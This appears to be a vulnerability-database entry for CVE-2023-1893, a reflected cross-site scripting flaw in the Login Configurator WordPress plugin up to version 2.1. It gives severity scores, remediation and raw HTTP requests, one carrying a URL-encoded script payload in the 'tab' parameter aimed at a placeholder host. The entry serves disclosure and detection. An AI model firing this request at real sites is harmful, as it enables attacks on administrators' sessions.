| Title | Login Configurator <=2.1 - Cross-Site Scripting |
|---|---|
| Author | 0xr2r |
| Severity | Medium |
| Impact | Attackers can execute arbitrary scripts in the context of site administrators, potentially leading to session hijacking or account compromise. |
| Remediation | Update to the latest version of the plugin where the issue is fixed. |
| CVSS Score | 6.1 |
| EPSS Score | 0.01843 |
| CVE ID | CVE-2023-1893 |
| CWE ID | CWE-79 |
| Tags | cve cve2023 wp wp-plugin wordpress xss login_configurator vuln |
Login Configurator WordPress plugin <= 2.1 contains a reflected cross-site scripting caused by improper escaping of URL parameter before outputting it to the page, letting attackers execute scripts in the context of site administrators, exploit requires victim to visit a malicious URL.
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /wp-admin/options-general.php?page=login-configurator-options&tab=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-1893.yaml
🦈 Packet Capture: ⬇️ Download cve-2023-1893.pcap
N/AN/A